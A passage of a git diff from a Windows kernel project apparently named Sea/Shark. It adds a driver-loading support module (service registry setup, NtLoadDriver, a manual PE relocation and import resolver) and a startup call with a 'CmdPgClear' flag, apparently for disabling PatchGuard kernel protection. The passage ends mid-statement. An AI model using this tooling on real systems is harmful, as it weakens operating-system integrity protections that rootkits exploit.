-#define __ptou(v) (u64)(u)(v) #endif // !_WIN64 -#define __rds8(p) (*(s8ptr)__utop(p) & 0xff) -#define __rds16(p) (*(s16ptr)__utop(p) & 0xffff) -#define __rds32(p) (*(s32ptr)__utop(p) & 0xffffffff) -#define __rds64(p) (*(s64ptr)__utop(p) & 0xffffffffffffffff) -#define __rdsptr(p) (*(sptr)__utop(p)) - -#define __rdu8(p) (*(u8ptr)__utop(p) & 0xff) -#define __rdu16(p) (*(u16ptr)__utop(p) & 0xffff) -#define __rdu32(p) (*(u32ptr)__utop(p) & 0xffffffff) -#define __rdu64(p) (*(u64ptr)__utop(p) & 0xffffffffffffffff) -#define __rduptr(p) (*(uptr)__utop(p)) - -#define __rdfloat(p) (*(float *)__utop(p) -#define __rddouble(p) (*(double *)__utop(p) - -#define __wrs8(p, v) (*(s8ptr)__utop(p) = (s8)(v)) -#define __wrs16(p, v) (*(s16ptr)__utop(p) = (s16)(v)) -#define __wrs32(p, v) (*(s32ptr)__utop(p) = (s32)(v)) -#define __wrs64(p, v) (*(s64ptr)__utop(p) = (s64)(v)) -#define __wrsptr(p, v) (*(sptr)__utop(p) = (s)(v)) - -#define __wru8(p, v) (*(u8ptr)__utop(p) = (u8)(v)) -#define __wru16(p, v) (*(u16ptr)__utop(p) = (u16)(v)) -#define __wru32(p, v) (*(u32ptr)__utop(p) = (u32)(v)) -#define __wru64(p, v) (*(u64ptr)__utop(p) = (u64)(v)) -#define __wruptr(p, v) (*(uptr)__utop(p) = (u)(v)) - -#define __wrfloat(p, v) (*(float *)__utop(p) = (float)(v)) -#define __wrdouble(p, v) (*(double *)__utop(p) = (double)(v)) +#define s8c(v) (v) +#define s16c(v) (v) +#define s32c(v) (v) +#define s64c(v) (v ## LL) + +#define u8c(v) (v) +#define u16c(v) (v) +#define u32c(v) (v ## U) +#define u64c(v) (v ## ULL) + +#define __rds8(p) (*(s8ptr)(ptr)(u)(p)) +#define __rds16(p) (*(s16ptr)(ptr)(u)(p)) +#define __rds32(p) (*(s32ptr)(ptr)(u)(p)) +#define __rds64(p) (*(s64ptr)(ptr)(u)(p)) +#define __rdsptr(p) (*(sptr)(ptr)(u)(p)) + +#define __rdu8(p) (*(u8ptr)(ptr)(u)(p)) +#define __rdu16(p) (*(u16ptr)(ptr)(u)(p)) +#define __rdu32(p) (*(u32ptr)(ptr)(u)(p)) +#define __rdu64(p) (*(u64ptr)(ptr)(u)(p)) +#define __rduptr(p) (*(uptr)(ptr)(u)(p)) + +#define __rdfloat(p) (*(float *)(ptr)(u)(p) +#define __rddouble(p) (*(double *)(ptr)(u)(p) + +#define __wrs8(p, v) (*(s8ptr)(ptr)(u)(p) = (s8)(v)) +#define __wrs16(p, v) (*(s16ptr)(ptr)(u)(p) = (s16)(v)) +#define __wrs32(p, v) (*(s32ptr)(ptr)(u)(p) = (s32)(v)) +#define __wrs64(p, v) (*(s64ptr)(ptr)(u)(p) = (s64)(v)) +#define __wrsptr(p, v) (*(sptr)(ptr)(u)(p) = (s)(v)) + +#define __wru8(p, v) (*(u8ptr)(ptr)(u)(p) = (u8)(v)) +#define __wru16(p, v) (*(u16ptr)(ptr)(u)(p) = (u16)(v)) +#define __wru32(p, v) (*(u32ptr)(ptr)(u)(p) = (u32)(v)) +#define __wru64(p, v) (*(u64ptr)(ptr)(u)(p) = (u64)(v)) +#define __wruptr(p, v) (*(uptr)(ptr)(u)(p) = (u)(v)) + +#define __wrfloat(p, v) (*(float *)(ptr)(u)(p) = (float)(v)) +#define __wrdouble(p, v) (*(double *)(ptr)(u)(p) = (double)(v)) #define __max(a, b) (((a) > (b)) ? (a) : (b)) #define __min(a, b) (((a) < (b)) ? (a) : (b)) @@ -110,11 +116,6 @@ typedef unsigned __int64 u, *uptr; #define __hiu32(l) ((u32)((u64)(l) >> 32)) #define __lou32(l) ((u32)((u64)(l) & 0xffffffff)) -#define __flagon(b, n) ((n) == ((b) & (n))) - -#define ByteOffset(Va) ((u32)((s)(Va) & (PAGE_SIZE - 1))) -#define PageAlign(Va) ((ptr)((u)(Va) & ~(PAGE_SIZE - 1))) - #ifndef _WIN64 #define __gcall __stdcall #else @@ -125,6 +126,15 @@ typedef unsigned __int64 u, *uptr; #define GCALL __gcall #endif // !GCALL +typedef +u +(GCALL * PGSUPPORT_ROUTINE) ( + ptr Argument1, + ptr Argument2, + ptr Argument3, + ptr Argument4 + ); + typedef u (GCALL * PGKERNEL_ROUTINE) ( diff --git a/Lib/amd64/detours.lib b/Lib/amd64/detours.obj similarity index 62% rename from Lib/amd64/detours.lib rename to Lib/amd64/detours.obj index 60a2748f..60a189b9 100644 Binary files a/Lib/amd64/detours.lib and b/Lib/amd64/detours.obj differ diff --git a/Lib/amd64/disasm.obj b/Lib/amd64/disasm.obj new file mode 100644 index 00000000..8ffd9bde Binary files /dev/null and b/Lib/amd64/disasm.obj differ diff --git a/Lib/amd64/vDbgPrint.obj b/Lib/amd64/vDbgPrint.obj new file mode 100644 index 00000000..9d842a55 Binary files /dev/null and b/Lib/amd64/vDbgPrint.obj differ diff --git a/Lib/i386/detours.lib b/Lib/i386/detours.obj similarity index 55% rename from Lib/i386/detours.lib rename to Lib/i386/detours.obj index 123c51bf..ff9d242e 100644 Binary files a/Lib/i386/detours.lib and b/Lib/i386/detours.obj differ diff --git a/Lib/i386/disasm.obj b/Lib/i386/disasm.obj new file mode 100644 index 00000000..5487d8cb Binary files /dev/null and b/Lib/i386/disasm.obj differ diff --git a/Lib/i386/eh3.obj b/Lib/i386/eh3.obj new file mode 100644 index 00000000..9f5e11ef Binary files /dev/null and b/Lib/i386/eh3.obj differ diff --git a/Lib/i386/vDbgPrint.obj b/Lib/i386/vDbgPrint.obj new file mode 100644 index 00000000..b83201bd Binary files /dev/null and b/Lib/i386/vDbgPrint.obj differ diff --git a/Projects/Sea/Makefile b/Projects/Sea/Makefile index de8c5334..99734bed 100644 --- a/Projects/Sea/Makefile +++ b/Projects/Sea/Makefile @@ -59,7 +59,7 @@ CCARCHOBJS = \ CCOBJS = \ $(OBJD)\$(PROJ).obj \ - $(OBJD)\Sysload.obj + $(OBJD)\Support.obj RCOBJS = $(OBJD)\$(PROJ).res @@ -129,7 +129,8 @@ BUILDLIBS = ntdllp.lib bufferoverflow.lib \ gshandler.obj gshandlerseh.obj \ !endif kernl32p.lib msvcrt.lib shell32.lib user32.lib gdi32.lib \ - nt_process_startup.obj + nt_process_startup.obj \ + vDbgPrint.obj LINK = link.exe /nologo LINKFLAGS = $(LINKIGNORE) /WX /NODEFAULTLIB /machine:$(ARCH) /debug /debugtype:cv,fixup diff --git a/Projects/Sea/Sea.c b/Projects/Sea/Sea.c index 0f22eca6..eb95d5ce 100644 --- a/Projects/Sea/Sea.c +++ b/Projects/Sea/Sea.c @@ -21,7 +21,7 @@ #include "Sea.h" -#include "Sysload.h" +#include "Support.h" NTSTATUS NTAPI @@ -30,81 +30,17 @@ NtProcessStartup( ) { NTSTATUS Status = STATUS_SUCCESS; - BOOLEAN Result = FALSE; - HANDLE FileHandle = NULL; - UNICODE_STRING FilePath = { 0 }; - OBJECT_ATTRIBUTES ObjectAttributes = { 0 }; - IO_STATUS_BLOCK IoStatusBlock = { 0 }; - UNICODE_STRING ImagePath = { 0 }; - WCHAR ImagePathBuffer[MAXIMUM_FILENAME_LENGTH] = { 0 }; TCHAR ErrorString[MAXIMUM_FILENAME_LENGTH] = { 0 }; - Status = RtlDosPathNameToNtPathName_U_WithStatus( - LOADER_STRING, - &ImagePath, - NULL, - NULL); + Status = SupInstall(); - if (NT_SUCCESS(Status)) { - RtlCopyMemory(ImagePathBuffer, ImagePath.Buffer, ImagePath.Length); + if (ST_SUCCESS(Status)) { + Status = SupInit(); - Status = LoadKernelImage(ImagePathBuffer, SERVICE_STRING); + if (ST_SUCCESS(Status)) { + Status = SupLdrLoad(KernelString, "Shark", CmdReload | CmdPgClear); - if (NT_SUCCESS(Status)) { - RtlInitUnicodeString(&FilePath, DEVICE_STRING); - - InitializeObjectAttributes( - &ObjectAttributes, - &FilePath, - OBJ_CASE_INSENSITIVE, - NULL, - NULL); - - Status = NtOpenFile( - &FileHandle, - FILE_ALL_ACCESS, - &ObjectAttributes, - &IoStatusBlock, - FILE_SHARE_VALID_FLAGS, - FILE_NON_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT); - - if (NT_SUCCESS(Status)) { - Status = NtDeviceIoControlFile( - FileHandle, - NULL, - NULL, - NULL, - &IoStatusBlock, - 0, - NULL, - 0, - NULL, - 0); - - if (NT_SUCCESS(Status)) { - } - else { - _stprintf( - ErrorString, - TEXT("communication failure error code < %08x >\n"), - Status); - - MessageBox(NULL, ErrorString, TEXT("error"), MB_OK); - } - - NT_SUCCESS(NtClose(FileHandle)); - } - else { - _stprintf( - ErrorString, - TEXT("open communication port failure error code < %08x >\n"), - Status); - - MessageBox(NULL, ErrorString, TEXT("error"), MB_OK); - } - - // Change to permanent - UnloadKernelImage(SERVICE_STRING); + SupTerm(); } else { _stprintf( @@ -115,7 +51,15 @@ NtProcessStartup( MessageBox(NULL, ErrorString, TEXT("error"), MB_OK); } - RtlFreeUnicodeString(&ImagePath); + SupUninstall(); + } + else { + _stprintf( + ErrorString, + TEXT("load driver error code < %08x >\n"), + Status); + + MessageBox(NULL, ErrorString, TEXT("error"), MB_OK); } return NtTerminateProcess( diff --git a/Projects/Sea/Sea.vcxproj b/Projects/Sea/Sea.vcxproj index 34b4ff00..6c06936f 100644 --- a/Projects/Sea/Sea.vcxproj +++ b/Projects/Sea/Sea.vcxproj @@ -72,7 +72,7 @@ - + @@ -96,6 +96,6 @@ - + \ No newline at end of file diff --git a/Projects/Sea/Sea.vcxproj.filters b/Projects/Sea/Sea.vcxproj.filters index b404d08f..397b277b 100644 --- a/Projects/Sea/Sea.vcxproj.filters +++ b/Projects/Sea/Sea.vcxproj.filters @@ -24,7 +24,7 @@ Source Files - + Source Files @@ -51,7 +51,7 @@ Header Files - + Header Files diff --git a/Projects/Sea/Support.c b/Projects/Sea/Support.c new file mode 100644 index 00000000..c0c07f53 --- /dev/null +++ b/Projects/Sea/Support.c @@ -0,0 +1,1489 @@ +/* +* +* Copyright (c) 2015 - 2021 by blindtiger. All rights reserved. +* +* The contents of this file are subject to the Mozilla Public License Version +* 2.0 (the "License")); you may not use this file except in compliance with +* the License. You may obtain a copy of the License at +* http://www.mozilla.org/MPL/ +* +* Software distributed under the License is distributed on an "AS IS" basis, +* WITHOUT WARRANTY OF ANY KIND, either express or implied. SEe the License +* for the specific language governing rights and limitations under the +* License. +* +* The Initial Developer of the Original Code is blindtiger. +* +*/ + +#include +#include + +#include "Support.h" + +u32 Cookie; +u32 SessionCookie; +ptr Session; +ptr SUPHandle; + +static +u16 +NTAPI +LdrGetOsPlatform( + void +) +{ + status Status = STATUS_SUCCESS; + SYSTEM_PROCESSOR_INFORMATION ProcessorInformation = { 0 }; + u ProcessInformation = 0; + u32 ReturnLength = 0; + u16 Platform = 0; + + Status = NtQuerySystemInformation( + SystemProcessorInformation, + &ProcessorInformation, + sizeof(SYSTEM_PROCESSOR_INFORMATION), + &ReturnLength); + + if (TRACE(Status)) { + if (PROCESSOR_ARCHITECTURE_AMD64 == + ProcessorInformation.ProcessorArchitecture) { + Platform = IMAGE_NT_OPTIONAL_HDR64_MAGIC; + } + else if (PROCESSOR_ARCHITECTURE_INTEL == + ProcessorInformation.ProcessorArchitecture) { + Status = NtQueryInformationProcess( + NtCurrentProcess(), + ProcessWow64Information, + &ProcessInformation, + sizeof(ProcessInformation), + &ReturnLength); + + if (TRACE(Status)) { + if (ProcessInformation) { + Platform = IMAGE_NT_OPTIONAL_HDR64_MAGIC; + } + else { + Platform = IMAGE_NT_OPTIONAL_HDR32_MAGIC; + } + } + } + } + + return Platform; +} + +status +NTAPI +RegistryCreateKey( + __out ptr * KeyHandle, + __in ACCESS_MASK DesiredAccess, + __in wcptr KeyList, + __in u32 CreateOptions +) +{ + status Status = STATUS_SUCCESS; + OBJECT_ATTRIBUTES ObjectAttributes = { 0 }; + UNICODE_STRING KeyPath = { 0 }; + + RtlInitUnicodeString(&KeyPath, KeyList); + + InitializeObjectAttributes( + &ObjectAttributes, + &KeyPath, + OBJ_CASE_INSENSITIVE, + NULL, + NULL); + + Status = NtCreateKey( + KeyHandle, + DesiredAccess, + &ObjectAttributes, + 0, + NULL, + CreateOptions, + NULL); + + return Status; +} + +status +NTAPI +RegistryOpenKey( + __out ptr * KeyHandle, + __in ACCESS_MASK DesiredAccess, + __in wcptr KeyList +) +{ + status Status = STATUS_SUCCESS; + OBJECT_ATTRIBUTES ObjectAttributes = { 0 }; + UNICODE_STRING KeyPath = { 0 }; + + RtlInitUnicodeString(&KeyPath, KeyList); + + InitializeObjectAttributes( + &ObjectAttributes, + &KeyPath, + OBJ_CASE_INSENSITIVE, + NULL, + NULL); + + Status = NtOpenKey( + KeyHandle, + DesiredAccess, + &ObjectAttributes); + + return Status; +} + +status +NTAPI +RegistrySetValueKey( + __in ptr KeyHandle, + __in wcptr ValueName, + __in u32 Type, + __in_bcount_opt(DataSize) ptr Data, + __in u32 DataSize +) +{ + status Status = STATUS_SUCCESS; + UNICODE_STRING KeyValueName = { 0 }; + + RtlInitUnicodeString(&KeyValueName, ValueName); + + Status = NtSetValueKey( + KeyHandle, + &KeyValueName, + 0, + Type, + Data, + DataSize); + + return Status; +} + +void +NTAPI +RegistryDeleteKey( + __in PUNICODE_STRING KeyPath +) +{ + status Status = STATUS_SUCCESS; + ptr KeyHandle = NULL; + OBJECT_ATTRIBUTES ObjectAttributes = { 0 }; + PKEY_BASIC_INFORMATION BasicInformation = NULL; + PKEY_VALUE_BASIC_INFORMATION ValueBasicInformation = NULL; + UNICODE_STRING KeyName = { 0 }; + UNICODE_STRING Separator = { 0 }; + UNICODE_STRING SubKeyName = { 0 }; + wcptr KeyNameBuffer = NULL; + u32 Length = 0; + u32 ResultLength = 0; + + InitializeObjectAttributes( + &ObjectAttributes, + KeyPath, + OBJ_CASE_INSENSITIVE, + NULL, + NULL); + + Status = NtOpenKey( + &KeyHandle, + KEY_ALL_ACCESS, + &ObjectAttributes); + + if (NT_SUCCESS(Status)) { + Length = + MAXIMUM_FILENAME_LENGTH * sizeof(wc) + + FIELD_OFFSET(KEY_BASIC_INFORMATION, Name); + + BasicInformation = + __malloc(Length + + MAXIMUM_FILENAME_LENGTH * sizeof(wc) + + MAXIMUM_FILENAME_LENGTH * sizeof(wc) + + FIELD_OFFSET(KEY_VALUE_BASIC_INFORMATION, Name)); + + if (NULL != BasicInformation) { + KeyNameBuffer = (PCHAR)BasicInformation + Length; + ValueBasicInformation = KeyNameBuffer + MAXIMUM_FILENAME_LENGTH; + + do { + Status = NtEnumerateKey( + KeyHandle, + 0, + KeyBasicInformation, + BasicInformation, + Length, + &ResultLength); + + if (NT_SUCCESS(Status)) { + SubKeyName.Buffer = KeyNameBuffer; + SubKeyName.Length = 0; + SubKeyName.MaximumLength = (u16)MAXIMUM_FILENAME_LENGTH * sizeof(wc); + + KeyName.Buffer = BasicInformation->Name; + KeyName.Length = (u16)BasicInformation->NameLength; + KeyName.MaximumLength = (u16)MAXIMUM_FILENAME_LENGTH * sizeof(wc); + + RtlInitUnicodeString(&Separator, L"\\"); + + RtlAppendStringToString(&SubKeyName, KeyPath); + RtlAppendStringToString(&SubKeyName, &Separator); + RtlAppendStringToString(&SubKeyName, &KeyName); + + RegistryDeleteKey(&SubKeyName); + } + } while (NT_SUCCESS(Status)); + + do { + Status = NtEnumerateValueKey( + KeyHandle, + 0, + KeyValueBasicInformation, + ValueBasicInformation, + Length, + &ResultLength); + + if (NT_SUCCESS(Status)) { + KeyName.Buffer = ValueBasicInformation->Name; + KeyName.Length = (u16)ValueBasicInformation->NameLength; + KeyName.MaximumLength = (u16)MAXIMUM_FILENAME_LENGTH * sizeof(wc); + + TRACE(NtDeleteValueKey( + KeyHandle, + &KeyName)); + } + } while (NT_SUCCESS(Status)); + + __free(BasicInformation); + } + + TRACE(NtDeleteKey(KeyHandle)); + TRACE(NtClose(KeyHandle)); + } +} + +status +NTAPI +RegistryCreateSevice( + __in wcptr ImageFileName, + __in wcptr ServiceName +) +{ + status Status = STATUS_SUCCESS; + ptr KeyHandle = NULL; + OBJECT_ATTRIBUTES ObjectAttributes = { 0 }; + UNICODE_STRING KeyPath = { 0 }; + wcptr KeyPathBuffer = NULL; + UNICODE_STRING KeyName = { 0 }; + UNICODE_STRING ImagePath = { 0 }; + u32 Type = 1; + u32 Start = 3; + u32 ErrorControl = 1; + b WasEnabled = FALSE; + + Status = RtlAdjustPrivilege( + SE_LOAD_DRIVER_PRIVILEGE, + TRUE, + FALSE, + &WasEnabled); + + if (TRACE(Status)) { + KeyPathBuffer = + __malloc(MAXIMUM_FILENAME_LENGTH * sizeof(wc)); + + if (NULL != KeyPathBuffer) { + KeyPath.Buffer = KeyPathBuffer; + KeyPath.Length = 0; + KeyPath.MaximumLength = MAXIMUM_FILENAME_LENGTH * sizeof(wc); + + RtlInitUnicodeString(&KeyName, ServicesDirectory); + RtlAppendStringToString(&KeyPath, &KeyName); + RtlInitUnicodeString(&KeyName, ServiceName); + RtlAppendStringToString(&KeyPath, &KeyName); + + InitializeObjectAttributes( + &ObjectAttributes, + &KeyPath, + OBJ_CASE_INSENSITIVE, + NULL, + NULL); + + Status = NtCreateKey( + &KeyHandle, + KEY_ALL_ACCESS, + &ObjectAttributes, + 0, + NULL, + REG_OPTION_VOLATILE, + NULL); + + if (TRACE(Status)) { + TRACE(RegistrySetValueKey( + KeyHandle, + L"Type", + REG_DWORD, + &Type, + sizeof(Type))); + + TRACE(RegistrySetValueKey( + KeyHandle, + L"ErrorControl", + REG_DWORD, + &ErrorControl, + sizeof(ErrorControl))); + + TRACE(RegistrySetValueKey( + KeyHandle, + L"Start", + REG_DWORD, + &Start, + sizeof(Start))); + + TRACE(RegistrySetValueKey( + KeyHandle, + L"DisplayName", + REG_SZ, + ServiceName, + wcslen(ServiceName) * sizeof(wc) + sizeof(UNICODE_NULL))); + + RtlInitUnicodeString(&ImagePath, ImageFileName); + + TRACE(RegistrySetValueKey( + KeyHandle, + L"ImagePath", + REG_EXPAND_SZ, + ImagePath.Buffer, + ImagePath.Length + sizeof(UNICODE_NULL))); + + Status = NtLoadDriver(&KeyPath); + + TRACE(NtClose(KeyHandle)); + } + + __free(KeyPathBuffer); + } + + if (FALSE == WasEnabled) { + TRACE(RtlAdjustPrivilege( + SE_LOAD_DRIVER_PRIVILEGE, + FALSE, + FALSE, + &WasEnabled)); + } + } + + return Status; +} + +status +NTAPI +RegistryDeleteSevice( + __in wcptr ServiceName +) +{ + status Status = STATUS_SUCCESS; + ptr KeyHandle = NULL; + OBJECT_ATTRIBUTES ObjectAttributes = { 0 }; + UNICODE_STRING KeyPath = { 0 }; + wcptr KeyPathBuffer = NULL; + UNICODE_STRING KeyName = { 0 }; + b WasEnabled = FALSE; + + Status = RtlAdjustPrivilege( + SE_LOAD_DRIVER_PRIVILEGE, + TRUE, + FALSE, + &WasEnabled); + + if (TRACE(Status)) { + KeyPathBuffer = + __malloc(MAXIMUM_FILENAME_LENGTH * sizeof(wc)); + + if (NULL != KeyPathBuffer) { + KeyPath.Buffer = KeyPathBuffer; + KeyPath.Length = 0; + KeyPath.MaximumLength = MAXIMUM_FILENAME_LENGTH * sizeof(wc); + + RtlInitUnicodeString(&KeyName, ServicesDirectory); + RtlAppendStringToString(&KeyPath, &KeyName); + RtlInitUnicodeString(&KeyName, ServiceName); + RtlAppendStringToString(&KeyPath, &KeyName); + + InitializeObjectAttributes( + &ObjectAttributes, + &KeyPath, + OBJ_CASE_INSENSITIVE, + NULL, + NULL); + + Status = NtOpenKey( + &KeyHandle, + KEY_ALL_ACCESS, + &ObjectAttributes); + + if (TRACE(Status)) { + Status = NtUnloadDriver(&KeyPath); + + if (TRACE(Status)) { + RegistryDeleteKey(&KeyPath); + } + + TRACE(NtClose(KeyHandle)); + } + + __free(KeyPathBuffer); + } + + if (FALSE == WasEnabled) { + TRACE(RtlAdjustPrivilege( + SE_LOAD_DRIVER_PRIVILEGE, + FALSE, + FALSE, + &WasEnabled)); + } + } + + return Status; +} + +FORCEINLINE +u32 +NTAPI +LdrGetRelocCount( + __in u32 SizeOfBlock +) +{ + u32 Count = 0; + + Count = (SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(u16); + + return Count; +} + +PIMAGE_BASE_RELOCATION +NTAPI +LdrRelocBlock( + __in ptr VA, + __in u32 Count, + __in u16ptr NextOffset, + __in s Diff +) +{ + u16ptr FixupVA = NULL; + u16 Offset = 0; + u16 Type = 0; + + while (Count--) { + Offset = *NextOffset & 0xfff; + FixupVA = (u8ptr)VA + Offset; + Type = (*NextOffset >> 12) & 0xf; + + switch (Type) { + case IMAGE_REL_BASED_ABSOLUTE: { + break; + } + + case IMAGE_REL_BASED_HIGH: { + FixupVA[1] += (u16)((Diff >> 16) & 0xffff); + break; + } + + case IMAGE_REL_BASED_LOW: { + FixupVA[0] += (u16)(Diff & 0xffff); + break; + } + + case IMAGE_REL_BASED_HIGHLOW: { + *(u32ptr)FixupVA += (u32)Diff; + break; + } + + case IMAGE_REL_BASED_HIGHADJ: { + FixupVA[0] += NextOffset[1] & 0xffff; + FixupVA[1] += (u16)((Diff >> 16) & 0xffff); + + ++NextOffset; + --Count; + break; + } + + case IMAGE_REL_BASED_MIPS_JMPADDR: + case IMAGE_REL_BASED_SECTION: + case IMAGE_REL_BASED_REL32: + // case IMAGE_REL_BASED_VXD_RELATIVE: + // case IMAGE_REL_BASED_MIPS_JMPADDR16: + + case IMAGE_REL_BASED_IA64_IMM64: { + break; + } + + case IMAGE_REL_BASED_DIR64: { + *(uptr)FixupVA += Diff; + break; + } + + default: { + return NULL; + } + } + + ++NextOffset; + } + + return (PIMAGE_BASE_RELOCATION)NextOffset; +} + +void +NTAPI +LdrRelocImage( + __in ptr ImageBase, + __in s Diff +) +{ + PIMAGE_BASE_RELOCATION RelocDirectory = NULL; + u32 Size = 0; + ptr VA = 0; + + RelocDirectory = RtlImageDirectoryEntryToData( + ImageBase, + TRUE, + IMAGE_DIRECTORY_ENTRY_BASERELOC, + &Size); + + if (0 != Size) { + if (0 != Diff) { + while (0 != Size) { + VA = (u8ptr)ImageBase + RelocDirectory->VirtualAddress; + Size -= RelocDirectory->SizeOfBlock; + + RelocDirectory = LdrRelocBlock( + VA, + LdrGetRelocCount(RelocDirectory->SizeOfBlock), + (u16ptr)(RelocDirectory + 1), + Diff); + } + } + } +} + +status +NTAPI +LdrMapSectionOffline( + __in cptr ImageFileName, + __out ptr * ImageViewBase +) +{ + status Status = STATUS_SUCCESS; + ptr Handle = NULL; + ptr Section = NULL; + OBJECT_ATTRIBUTES ObjectAttributes = { 0 }; + IO_STATUS_BLOCK IoStatusBlock = { 0 }; + ptr ViewBase = NULL; + u ViewSize = 0; + STRING String = { 0 }; + UNICODE_STRING FullPath = { 0 }; + + RtlInitString(&String, ImageFileName); + + Status = RtlAnsiStringToUnicodeString( + &FullPath, + &String, + TRUE); + + if (NT_SUCCESS(Status)) { + InitializeObjectAttributes( + &ObjectAttributes, + &FullPath, + (OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE), + NULL, + NULL); + + Status = NtOpenFile( + &Handle, + FILE_EXECUTE, + &ObjectAttributes, + &IoStatusBlock, + FILE_SHARE_READ | FILE_SHARE_DELETE, + 0); + + if (NT_SUCCESS(Status)) { + InitializeObjectAttributes( + &ObjectAttributes, + NULL, + OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, + NULL, + NULL); + + Status = NtCreateSection( + &Section, + SECTION_MAP_READ | SECTION_MAP_EXECUTE, + &ObjectAttributes, + NULL, + PAGE_EXECUTE, + SEC_IMAGE, + Handle); + + if (NT_SUCCESS(Status)) { + Status = NtMapViewOfSection( + Section, + NtCurrentProcess(), + &ViewBase, + 0L, + 0L, + NULL, + &ViewSize, + ViewShare, + 0L, + PAGE_EXECUTE); + + if (NT_SUCCESS(Status)) { + *ImageViewBase = ViewBase; + } + + TRACE(NtClose(Section)); + } + + TRACE(NtClose(Handle)); + } + + RtlFreeUnicodeString(&FullPath); + } + + return Status; +} + +status +NTAPI +LdrLoadImportOffline( + __in PSTRING ImageFileName, + __out ptr * ImageBase, + __out ptr * ImportViewBase +) +{ + status Status = STATUS_SUCCESS; + PRTL_PROCESS_MODULES Modules = NULL; + u32 BufferSize = PAGE_SIZE; + u32 Index = 0; + u32 ReturnLength = 0; + STRING String = { 0 }; + c FullName[MAXIMUM_FILENAME_LENGTH] = { 0 }; + +retry: + Modules = __malloc(BufferSize); + + if (NULL != Modules) { + RtlZeroMemory(Modules, BufferSize); + + Status = NtQuerySystemInformation( + SystemModuleInformation, + Modules, + BufferSize, + &ReturnLength); + + if (NT_SUCCESS(Status)) { + Status = STATUS_NOT_FOUND; + + for (Index = 0; + Index < Modules->NumberOfModules; + Index++) { + _splitpath( + Modules->Modules[Index].FullPathName, + NULL, + NULL, + FullName, + NULL); + + _splitpath( + Modules->Modules[Index].FullPathName, + NULL, + NULL, + NULL, + FullName + strlen(FullName)); + + RtlInitString(&String, FullName); + + if (FALSE != RtlPrefixString( + ImageFileName, + &String, + TRUE)) { + *ImageBase = Modules->Modules[Index].ImageBase; + + Status = LdrMapSectionOffline( + Modules->Modules[Index].FullPathName, + ImportViewBase); + + break; + } + } + } + + __free(Modules); + + Modules = NULL; + + if (STATUS_INFO_LENGTH_MISMATCH == Status) { + BufferSize = ReturnLength; + + goto retry; + } + } + else { + Status = STATUS_NO_MEMORY; + } + + return Status; +} + +ptr +NTAPI +LdrForwardOffline( + __in cptr ForwarderData +) +{ + status Status = STATUS_SUCCESS; + ptr ImageBase = NULL; + ptr ImageViewBase = NULL; + cptr Separator = NULL; + cptr ImageName = NULL; + cptr ProcedureName = NULL; + u32 ProcedureNumber = 0; + ptr ProcedureAddress = NULL; + STRING String = { 0 }; + + Separator = strchr(ForwarderData, '.'); + + if (NULL != Separator) { + ImageName = __malloc(Separator - ForwarderData); + + if (NULL != ImageName) { + RtlCopyMemory( + ImageName, + ForwarderData, + Separator - ForwarderData); + + String.Buffer = ImageName; + String.Length = Separator - ForwarderData; + String.MaximumLength = Separator - ForwarderData; + + Status = LdrLoadImportOffline( + &String, + &ImageBase, + &ImageViewBase); + + if (TRACE(Status)) { + Status = STATUS_NO_MORE_ENTRIES; + + Separator += 1; + ProcedureName = Separator; + + if (Separator[0] != '@') { + ProcedureAddress = LdrGetSymbolOffline( + ImageBase, + ImageViewBase, + ProcedureName, + 0); + } + else { + Separator += 1; + + if (RtlCharToInteger( + Separator, + 0, + &ProcedureNumber) >= 0) { + ProcedureAddress = LdrGetSymbolOffline( + ImageBase, + ImageViewBase, + NULL, + ProcedureNumber); + } + } + + TRACE(NtUnmapViewOfSection( + NtCurrentProcess(), + ImageBase)); + } + + __free(ImageName); + } + } + + return ProcedureAddress; +} + +ptr +NTAPI +LdrGetSymbolOffline( + __in ptr ImageBase, + __in ptr ImageViewBase, + __in_opt cptr ProcedureName, + __in_opt u32 ProcedureNumber +) +{ + PIMAGE_EXPORT_DIRECTORY ExportDirectory = NULL; + u32 Size = 0; + u32ptr NameTable = NULL; + u16ptr OrdinalTable = NULL; + u32ptr AddressTable = NULL; + cptr NameTableName = NULL; + u16 HintIndex = 0; + ptr ProcedureAddress = NULL; + + ExportDirectory = RtlImageDirectoryEntryToData( + ImageViewBase, + TRUE, + IMAGE_DIRECTORY_ENTRY_EXPORT, + &Size); + + if (NULL != ExportDirectory) { + NameTable = (u8ptr)ImageViewBase + ExportDirectory->AddressOfNames; + OrdinalTable = (u8ptr)ImageViewBase + ExportDirectory->AddressOfNameOrdinals; + AddressTable = (u8ptr)ImageViewBase + ExportDirectory->AddressOfFunctions; + + if (NULL != NameTable && + NULL != OrdinalTable && + NULL != AddressTable) { + if (ProcedureNumber >= ExportDirectory->Base && + ProcedureNumber < MAXSHORT) { + ProcedureAddress = (u8ptr)ImageBase + + AddressTable[ProcedureNumber - ExportDirectory->Base]; + } + else { + for (HintIndex = 0; + HintIndex < ExportDirectory->NumberOfNames; + HintIndex++) { + NameTableName = (u8ptr)ImageViewBase + NameTable[HintIndex]; + + if (0 == _stricmp( + ProcedureName, + NameTableName)) { + ProcedureAddress = (u8ptr)ImageBase + + AddressTable[OrdinalTable[HintIndex]]; + } + } + } + } + + if ((u)ProcedureAddress >= (u)ExportDirectory && + (u)ProcedureAddress < (u)ExportDirectory + Size) { + ProcedureAddress = LdrForwardOffline(ProcedureAddress); + } + } + + return ProcedureAddress; +} + +void +NTAPI +LdrSnapThunkOffline( + __in ptr ImageBase +) +{ + status Status = STATUS_SUCCESS; + PIMAGE_IMPORT_DESCRIPTOR ImportDirectory = NULL; + u32 Size = 0; + PIMAGE_THUNK_DATA OriginalThunk = NULL; + PIMAGE_THUNK_DATA Thunk = NULL; + PIMAGE_IMPORT_BY_NAME ImportByName = NULL; + u16 Ordinal = 0; + cptr ImportName = NULL; + ptr ImportBase = NULL; + ptr ImportViewBase = NULL; + ptr FunctionAddress = NULL; + u32 Index = 0; + STRING String = { 0 }; + + ImportDirectory = RtlImageDirectoryEntryToData( + ImageBase, + TRUE, + IMAGE_DIRECTORY_ENTRY_IMPORT, + &Size); + + if (0 != Size) { + do { + OriginalThunk = (u8ptr)ImageBase + ImportDirectory->OriginalFirstThunk; + Thunk = (u8ptr)ImageBase + ImportDirectory->FirstThunk; + ImportName = (u8ptr)ImageBase + ImportDirectory->Name; + + RtlInitString(&String, ImportName); + + Status = LdrLoadImportOffline(&String, &ImportBase, &ImportViewBase); + + if 